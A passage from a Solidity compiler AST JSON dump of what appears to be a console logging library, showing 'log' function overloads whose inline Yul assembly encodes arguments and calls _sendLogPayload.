declaration":38140,"isOffset":false,"isSlot":false,"src":"134651:2:22","valueSize":1},{"declaration":38143,"isOffset":false,"isSlot":false,"src":"134680:2:22","valueSize":1},{"declaration":38146,"isOffset":false,"isSlot":false,"src":"134709:2:22","valueSize":1},{"declaration":38149,"isOffset":false,"isSlot":false,"src":"134738:2:22","valueSize":1},{"declaration":38152,"isOffset":false,"isSlot":false,"src":"134767:2:22","valueSize":1}],"id":38160,"nodeType":"InlineAssembly","src":"134557:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"133455:3:22","parameters":{"id":38131,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38124,"mutability":"mutable","name":"p0","nameLocation":"133467:2:22","nodeType":"VariableDeclaration","scope":38162,"src":"133459:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38123,"name":"address","nodeType":"ElementaryTypeName","src":"133459:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38126,"mutability":"mutable","name":"p1","nameLocation":"133479:2:22","nodeType":"VariableDeclaration","scope":38162,"src":"133471:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38125,"name":"bytes32","nodeType":"ElementaryTypeName","src":"133471:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38128,"mutability":"mutable","name":"p2","nameLocation":"133491:2:22","nodeType":"VariableDeclaration","scope":38162,"src":"133483:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38127,"name":"address","nodeType":"ElementaryTypeName","src":"133483:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38130,"mutability":"mutable","name":"p3","nameLocation":"133503:2:22","nodeType":"VariableDeclaration","scope":38162,"src":"133495:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38129,"name":"address","nodeType":"ElementaryTypeName","src":"133495:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"133458:48:22"},"returnParameters":{"id":38132,"nodeType":"ParameterList","parameters":[],"src":"133521:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38202,"nodeType":"FunctionDefinition","src":"134792:1334:22","nodes":[],"body":{"id":38201,"nodeType":"Block","src":"134864:1262:22","nodes":[],"statements":[{"assignments":[38174],"declarations":[{"constant":false,"id":38174,"mutability":"mutable","name":"m0","nameLocation":"134882:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134874:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134874:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38175,"nodeType":"VariableDeclarationStatement","src":"134874:10:22"},{"assignments":[38177],"declarations":[{"constant":false,"id":38177,"mutability":"mutable","name":"m1","nameLocation":"134902:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134894:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38176,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134894:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38178,"nodeType":"VariableDeclarationStatement","src":"134894:10:22"},{"assignments":[38180],"declarations":[{"constant":false,"id":38180,"mutability":"mutable","name":"m2","nameLocation":"134922:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134914:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134914:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38181,"nodeType":"VariableDeclarationStatement","src":"134914:10:22"},{"assignments":[38183],"declarations":[{"constant":false,"id":38183,"mutability":"mutable","name":"m3","nameLocation":"134942:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134934:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38182,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134934:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38184,"nodeType":"VariableDeclarationStatement","src":"134934:10:22"},{"assignments":[38186],"declarations":[{"constant":false,"id":38186,"mutability":"mutable","name":"m4","nameLocation":"134962:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134954:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38185,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134954:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38187,"nodeType":"VariableDeclarationStatement","src":"134954:10:22"},{"assignments":[38189],"declarations":[{"constant":false,"id":38189,"mutability":"mutable","name":"m5","nameLocation":"134982:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134974:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38188,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134974:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38190,"nodeType":"VariableDeclarationStatement","src":"134974:10:22"},{"assignments":[38192],"declarations":[{"constant":false,"id":38192,"mutability":"mutable","name":"m6","nameLocation":"135002:2:22","nodeType":"VariableDeclaration","scope":38201,"src":"134994:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38191,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134994:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38193,"nodeType":"VariableDeclarationStatement","src":"134994:10:22"},{"AST":{"nativeSrc":"135023:828:22","nodeType":"YulBlock","src":"135023:828:22","statements":[{"body":{"nativeSrc":"135066:313:22","nodeType":"YulBlock","src":"135066:313:22","statements":[{"nativeSrc":"135084:15:22","nodeType":"YulVariableDeclaration","src":"135084:15:22","value":{"kind":"number","nativeSrc":"135098:1:22","nodeType":"YulLiteral","src":"135098:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"135088:6:22","nodeType":"YulTypedName","src":"135088:6:22","type":""}]},{"body":{"nativeSrc":"135169:40:22","nodeType":"YulBlock","src":"135169:40:22","statements":[{"body":{"nativeSrc":"135198:9:22","nodeType":"YulBlock","src":"135198:9:22","statements":[{"nativeSrc":"135200:5:22","nodeType":"YulBreak","src":"135200:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"135186:6:22","nodeType":"YulIdentifier","src":"135186:6:22"},{"name":"w","nativeSrc":"135194:1:22","nodeType":"YulIdentifier","src":"135194:1:22"}],"functionName":{"name":"byte","nativeSrc":"135181:4:22","nodeType":"YulIdentifier","src":"135181:4:22"},"nativeSrc":"135181:15:22","nodeType":"YulFunctionCall","src":"135181:15:22"}],"functionName":{"name":"iszero","nativeSrc":"135174:6:22","nodeType":"YulIdentifier","src":"135174:6:22"},"nativeSrc":"135174:23:22","nodeType":"YulFunctionCall","src":"135174:23:22"},"nativeSrc":"135171:36:22","nodeType":"YulIf","src":"135171:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"135126:6:22","nodeType":"YulIdentifier","src":"135126:6:22"},{"kind":"number","nativeSrc":"135134:4:22","nodeType":"YulLiteral","src":"135134:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"135123:2:22","nodeType":"YulIdentifier","src":"135123:2:22"},"nativeSrc":"135123:16:22","nodeType":"YulFunctionCall","src":"135123:16:22"},"nativeSrc":"135116:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"135140:28:22","nodeType":"YulBlock","src":"135140:28:22","statements":[{"nativeSrc":"135142:24:22","nodeType":"YulAssignment","src":"135142:24:22","value":{"arguments":[{"name":"length","nativeSrc":"135156:6:22","nodeType":"YulIdentifier","src":"135156:6:22"},{"kind":"number","nativeSrc":"135164:1:22","nodeType":"YulLiteral","src":"135164:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"135152:3:22","nodeType":"YulIdentifier","src":"135152:3:22"},"nativeSrc":"135152:14:22","nodeType":"YulFunctionCall","src":"135152:14:22"},"variableNames":[{"name":"length","nativeSrc":"135142:6:22","nodeType":"YulIdentifier","src":"135142:6:22"}]}]},"pre":{"nativeSrc":"135120:2:22","nodeType":"YulBlock","src":"135120:2:22","statements":[]},"src":"135116:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"135233:3:22","nodeType":"YulIdentifier","src":"135233:3:22"},{"name":"length","nativeSrc":"135238:6:22","nodeType":"YulIdentifier","src":"135238:6:22"}],"functionName":{"name":"mstore","nativeSrc":"135226:6:22","nodeType":"YulIdentifier","src":"135226:6:22"},"nativeSrc":"135226:19:22","nodeType":"YulFunctionCall","src":"135226:19:22"},"nativeSrc":"135226:19:22","nodeType":"YulExpressionStatement","src":"135226:19:22"},{"nativeSrc":"135262:37:22","nodeType":"YulVariableDeclaration","src":"135262:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"135279:3:22","nodeType":"YulLiteral","src":"135279:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"135288:1:22","nodeType":"YulLiteral","src":"135288:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"135291:6:22","nodeType":"YulIdentifier","src":"135291:6:22"}],"functionName":{"name":"shl","nativeSrc":"135284:3:22","nodeType":"YulIdentifier","src":"135284:3:22"},"nativeSrc":"135284:14:22","nodeType":"YulFunctionCall","src":"135284:14:22"}],"functionName":{"name":"sub","nativeSrc":"135275:3:22","nodeType":"YulIdentifier","src":"135275:3:22"},"nativeSrc":"135275:24:22","nodeType":"YulFunctionCall","src":"135275:24:22"},"variables":[{"name":"shift","nativeSrc":"135266:5:22","nodeType":"YulTypedName","src":"135266:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"135327:3:22","nodeType":"YulIdentifier","src":"135327:3:22"},{"kind":"number","nativeSrc":"135332:4:22","nodeType":"YulLiteral","src":"135332:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"135323:3:22","nodeType":"YulIdentifier","src":"135323:3:22"},"nativeSrc":"135323:14:22","nodeType":"YulFunctionCall","src":"135323:14:22"},{"arguments":[{"name":"shift","nativeSrc":"135343:5:22","nodeType":"YulIdentifier","src":"135343:5:22"},{"arguments":[{"name":"shift","nativeSrc":"135354:5:22","nodeType":"YulIdentifier","src":"135354:5:22"},{"name":"w","nativeSrc":"135361:1:22","nodeType":"YulIdentifier","src":"135361:1:22"}],"functionName":{"name":"shr","nativeSrc":"135350:3:22","nodeType":"YulIdentifier","src":"135350:3:22"},"nativeSrc":"135350:13:22","nodeType":"YulFunctionCall","src":"135350:13:22"}],"functionName":{"name":"shl","nativeSrc":"135339:3:22","nodeType":"YulIdentifier","src":"135339:3:22"},"nativeSrc":"135339:25:22","nodeType":"YulFunctionCall","src":"135339:25:22"}],"functionName":{"name":"mstore","nativeSrc":"135316:6:22","nodeType":"YulIdentifier","src":"135316:6:22"},"nativeSrc":"135316:49:22","nodeType":"YulFunctionCall","src":"135316:49:22"},"nativeSrc":"135316:49:22","nodeType":"YulExpressionStatement","src":"135316:49:22"}]},"name":"writeString","nativeSrc":"135037:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"135058:3:22","nodeType":"YulTypedName","src":"135058:3:22","type":""},{"name":"w","nativeSrc":"135063:1:22","nodeType":"YulTypedName","src":"135063:1:22","type":""}],"src":"135037:342:22"},{"nativeSrc":"135392:17:22","nodeType":"YulAssignment","src":"135392:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135404:4:22","nodeType":"YulLiteral","src":"135404:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"135398:5:22","nodeType":"YulIdentifier","src":"135398:5:22"},"nativeSrc":"135398:11:22","nodeType":"YulFunctionCall","src":"135398:11:22"},"variableNames":[{"name":"m0","nativeSrc":"135392:2:22","nodeType":"YulIdentifier","src":"135392:2:22"}]},{"nativeSrc":"135422:17:22","nodeType":"YulAssignment","src":"135422:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135434:4:22","nodeType":"YulLiteral","src":"135434:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"135428:5:22","nodeType":"YulIdentifier","src":"135428:5:22"},"nativeSrc":"135428:11:22","nodeType":"YulFunctionCall","src":"135428:11:22"},"variableNames":[{"name":"m1","nativeSrc":"135422:2:22","nodeType":"YulIdentifier","src":"135422:2:22"}]},{"nativeSrc":"135452:17:22","nodeType":"YulAssignment","src":"135452:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135464:4:22","nodeType":"YulLiteral","src":"135464:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"135458:5:22","nodeType":"YulIdentifier","src":"135458:5:22"},"nativeSrc":"135458:11:22","nodeType":"YulFunctionCall","src":"135458:11:22"},"variableNames":[{"name":"m2","nativeSrc":"135452:2:22","nodeType":"YulIdentifier","src":"135452:2:22"}]},{"nativeSrc":"135482:17:22","nodeType":"YulAssignment","src":"135482:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135494:4:22","nodeType":"YulLiteral","src":"135494:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"135488:5:22","nodeType":"YulIdentifier","src":"135488:5:22"},"nativeSrc":"135488:11:22","nodeType":"YulFunctionCall","src":"135488:11:22"},"variableNames":[{"name":"m3","nativeSrc":"135482:2:22","nodeType":"YulIdentifier","src":"135482:2:22"}]},{"nativeSrc":"135512:17:22","nodeType":"YulAssignment","src":"135512:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135524:4:22","nodeType":"YulLiteral","src":"135524:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"135518:5:22","nodeType":"YulIdentifier","src":"135518:5:22"},"nativeSrc":"135518:11:22","nodeType":"YulFunctionCall","src":"135518:11:22"},"variableNames":[{"name":"m4","nativeSrc":"135512:2:22","nodeType":"YulIdentifier","src":"135512:2:22"}]},{"nativeSrc":"135542:17:22","nodeType":"YulAssignment","src":"135542:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135554:4:22","nodeType":"YulLiteral","src":"135554:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"135548:5:22","nodeType":"YulIdentifier","src":"135548:5:22"},"nativeSrc":"135548:11:22","nodeType":"YulFunctionCall","src":"135548:11:22"},"variableNames":[{"name":"m5","nativeSrc":"135542:2:22","nodeType":"YulIdentifier","src":"135542:2:22"}]},{"nativeSrc":"135572:17:22","nodeType":"YulAssignment","src":"135572:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"135584:4:22","nodeType":"YulLiteral","src":"135584:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"135578:5:22","nodeType":"YulIdentifier","src":"135578:5:22"},"nativeSrc":"135578:11:22","nodeType":"YulFunctionCall","src":"135578:11:22"},"variableNames":[{"name":"m6","nativeSrc":"135572:2:22","nodeType":"YulIdentifier","src":"135572:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135672:4:22","nodeType":"YulLiteral","src":"135672:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"135678:10:22","nodeType":"YulLiteral","src":"135678:10:22","type":"","value":"0x0df12b76"}],"functionName":{"name":"mstore","nativeSrc":"135665:6:22","nodeType":"YulIdentifier","src":"135665:6:22"},"nativeSrc":"135665:24:22","nodeType":"YulFunctionCall","src":"135665:24:22"},"nativeSrc":"135665:24:22","nodeType":"YulExpressionStatement","src":"135665:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135709:4:22","nodeType":"YulLiteral","src":"135709:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"135715:2:22","nodeType":"YulIdentifier","src":"135715:2:22"}],"functionName":{"name":"mstore","nativeSrc":"135702:6:22","nodeType":"YulIdentifier","src":"135702:6:22"},"nativeSrc":"135702:16:22","nodeType":"YulFunctionCall","src":"135702:16:22"},"nativeSrc":"135702:16:22","nodeType":"YulExpressionStatement","src":"135702:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135738:4:22","nodeType":"YulLiteral","src":"135738:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"135744:4:22","nodeType":"YulLiteral","src":"135744:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"135731:6:22","nodeType":"YulIdentifier","src":"135731:6:22"},"nativeSrc":"135731:18:22","nodeType":"YulFunctionCall","src":"135731:18:22"},"nativeSrc":"135731:18:22","nodeType":"YulExpressionStatement","src":"135731:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135769:4:22","nodeType":"YulLiteral","src":"135769:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"135775:2:22","nodeType":"YulIdentifier","src":"135775:2:22"}],"functionName":{"name":"mstore","nativeSrc":"135762:6:22","nodeType":"YulIdentifier","src":"135762:6:22"},"nativeSrc":"135762:16:22","nodeType":"YulFunctionCall","src":"135762:16:22"},"nativeSrc":"135762:16:22","nodeType":"YulExpressionStatement","src":"135762:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135798:4:22","nodeType":"YulLiteral","src":"135798:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"135804:2:22","nodeType":"YulIdentifier","src":"135804:2:22"}],"functionName":{"name":"mstore","nativeSrc":"135791:6:22","nodeType":"YulIdentifier","src":"135791:6:22"},"nativeSrc":"135791:16:22","nodeType":"YulFunctionCall","src":"135791:16:22"},"nativeSrc":"135791:16:22","nodeType":"YulExpressionStatement","src":"135791:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135832:4:22","nodeType":"YulLiteral","src":"135832:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"135838:2:22","nodeType":"YulIdentifier","src":"135838:2:22"}],"functionName":{"name":"writeString","nativeSrc":"135820:11:22","nodeType":"YulIdentifier","src":"135820:11:22"},"nativeSrc":"135820:21:22","nodeType":"YulFunctionCall","src":"135820:21:22"},"nativeSrc":"135820:21:22","nodeType":"YulExpressionStatement","src":"135820:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38174,"isOffset":false,"isSlot":false,"src":"135392:2:22","valueSize":1},{"declaration":38177,"isOffset":false,"isSlot":false,"src":"135422:2:22","valueSize":1},{"declaration":38180,"isOffset":false,"isSlot":false,"src":"135452:2:22","valueSize":1},{"declaration":38183,"isOffset":false,"isSlot":false,"src":"135482:2:22","valueSize":1},{"declaration":38186,"isOffset":false,"isSlot":false,"src":"135512:2:22","valueSize":1},{"declaration":38189,"isOffset":false,"isSlot":false,"src":"135542:2:22","valueSize":1},{"declaration":38192,"isOffset":false,"isSlot":false,"src":"135572:2:22","valueSize":1},{"declaration":38164,"isOffset":false,"isSlot":false,"src":"135715:2:22","valueSize":1},{"declaration":38166,"isOffset":false,"isSlot":false,"src":"135838:2:22","valueSize":1},{"declaration":38168,"isOffset":false,"isSlot":false,"src":"135775:2:22","valueSize":1},{"declaration":38170,"isOffset":false,"isSlot":false,"src":"135804:2:22","valueSize":1}],"id":38194,"nodeType":"InlineAssembly","src":"135014:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"135876:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"135882:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38195,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"135860:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"135860:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38199,"nodeType":"ExpressionStatement","src":"135860:27:22"},{"AST":{"nativeSrc":"135906:214:22","nodeType":"YulBlock","src":"135906:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"135927:4:22","nodeType":"YulLiteral","src":"135927:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"135933:2:22","nodeType":"YulIdentifier","src":"135933:2:22"}],"functionName":{"name":"mstore","nativeSrc":"135920:6:22","nodeType":"YulIdentifier","src":"135920:6:22"},"nativeSrc":"135920:16:22","nodeType":"YulFunctionCall","src":"135920:16:22"},"nativeSrc":"135920:16:22","nodeType":"YulExpressionStatement","src":"135920:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135956:4:22","nodeType":"YulLiteral","src":"135956:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"135962:2:22","nodeType":"YulIdentifier","src":"135962:2:22"}],"functionName":{"name":"mstore","nativeSrc":"135949:6:22","nodeType":"YulIdentifier","src":"135949:6:22"},"nativeSrc":"135949:16:22","nodeType":"YulFunctionCall","src":"135949:16:22"},"nativeSrc":"135949:16:22","nodeType":"YulExpressionStatement","src":"135949:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"135985:4:22","nodeType":"YulLiteral","src":"135985:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"135991:2:22","nodeType":"YulIdentifier","src":"135991:2:22"}],"functionName":{"name":"mstore","nativeSrc":"135978:6:22","nodeType":"YulIdentifier","src":"135978:6:22"},"nativeSrc":"135978:16:22","nodeType":"YulFunctionCall","src":"135978:16:22"},"nativeSrc":"135978:16:22","nodeType":"YulExpressionStatement","src":"135978:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"136014:4:22","nodeType":"YulLiteral","src":"136014:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"136020:2:22","nodeType":"YulIdentifier","src":"136020:2:22"}],"functionName":{"name":"mstore","nativeSrc":"136007:6:22","nodeType":"YulIdentifier","src":"136007:6:22"},"nativeSrc":"136007:16:22","nodeType":"YulFunctionCall","src":"136007:16:22"},"nativeSrc":"136007:16:22","nodeType":"YulExpressionStatement","src":"136007:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"136043:4:22","nodeType":"YulLiteral","src":"136043:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"136049:2:22","nodeType":"YulIdentifier","src":"136049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"136036:6:22","nodeType":"YulIdentifier","src":"136036:6:22"},"nativeSrc":"136036:16:22","nodeType":"YulFunctionCall","src":"136036:16:22"},"nativeSrc":"136036:16:22","nodeType":"YulExpressionStatement","src":"136036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"136072:4:22","nodeType":"YulLiteral","src":"136072:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"136078:2:22","nodeType":"YulIdentifier","src":"136078:2:22"}],"functionName":{"name":"mstore","nativeSrc":"136065:6:22","nodeType":"YulIdentifier","src":"136065:6:22"},"nativeSrc":"136065:16:22","nodeType":"YulFunctionCall","src":"136065:16:22"},"nativeSrc":"136065:16:22","nodeType":"YulExpressionStatement","src":"136065:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"136101:4:22","nodeType":"YulLiteral","src":"136101:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"136107:2:22","nodeType":"YulIdentifier","src":"136107:2:22"}],"functionName":{"name":"mstore","nativeSrc":"136094:6:22","nodeType":"YulIdentifier","src":"136094:6:22"},"nativeSrc":"136094:16:22","nodeType":"YulFunctionCall","src":"136094:16:22"},"nativeSrc":"136094:16:22","nodeType":"YulExpressionStatement","src":"136094:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38174,"isOffset":false,"isSlot":false,"src":"135933:2:22","valueSize":1},{"declaration":38177,"isOffset":false,"isSlot":false,"src":"135962:2:22","valueSize":1},{"declaration":38180,"isOffset":false,"isSlot":false,"src":"135991:2:22","valueSize":1},{"declaration":38183,"isOffset":false,"isSlot":false,"src":"136020:2:22","valueSize":1},{"declaration":38186,"isOffset":false,"isSlot":false,"src":"136049:2:22","valueSize":1},{"declaration":38189,"isOffset":false,"isSlot":false,"src":"136078:2:22","valueSize":1},{"declaration":38192,"isOffset":false,"isSlot":false,"src":"136107:2:22","valueSize":1}],"id":38200,"nodeType":"InlineAssembly","src":"135897:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"134801:3:22","parameters":{"id":38171,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38164,"mutability":"mutable","name":"p0","nameLocation":"134813:2:22","nodeType":"VariableDeclaration","scope":38202,"src":"134805:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38163,"name":"address","nodeType":"ElementaryTypeName","src":"134805:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38166,"mutability":"mutable","name":"p1","nameLocation":"134825:2:22","nodeType":"VariableDeclaration","scope":38202,"src":"134817:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"134817:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38168,"mutability":"mutable","name":"p2","nameLocation":"134837:2:22","nodeType":"VariableDeclaration","scope":38202,"src":"134829:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38167,"name":"address","nodeType":"ElementaryTypeName","src":"134829:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38170,"mutability":"mutable","name":"p3","nameLocation":"134846:2:22","nodeType":"VariableDeclaration","scope":38202,"src":"134841:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38169,"name":"bool","nodeType":"ElementaryTypeName","src":"134841:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"134804:45:22"},"returnParameters":{"id":38172,"nodeType":"ParameterList","parameters":[],"src":"134864:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38242,"nodeType":"FunctionDefinition","src":"136132:1340:22","nodes":[],"body":{"id":38241,"nodeType":"Block","src":"136207:1265:22","nodes":[],"statements":[{"assignments":[38214],"declarations":[{"constant":false,"id":38214,"mutability":"mutable","name":"m0","nameLocation":"136225:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136217:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38213,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136217:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38215,"nodeType":"VariableDeclarationStatement","src":"136217:10:22"},{"assignments":[38217],"declarations":[{"constant":false,"id":38217,"mutability":"mutable","name":"m1","nameLocation":"136245:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136237:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38216,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136237:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38218,"nodeType":"VariableDeclarationStatement","src":"136237:10:22"},{"assignments":[38220],"declarations":[{"constant":false,"id":38220,"mutability":"mutable","name":"m2","nameLocation":"136265:2:22","nodeType":"VariableDeclaration","scope":38241,"src":"136257:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38219,"name":"bytes32","nodeType":"ElementaryTypeName","src":"136257:7:22","typeDescriptions":{"typeIdentifier":"t_bytes3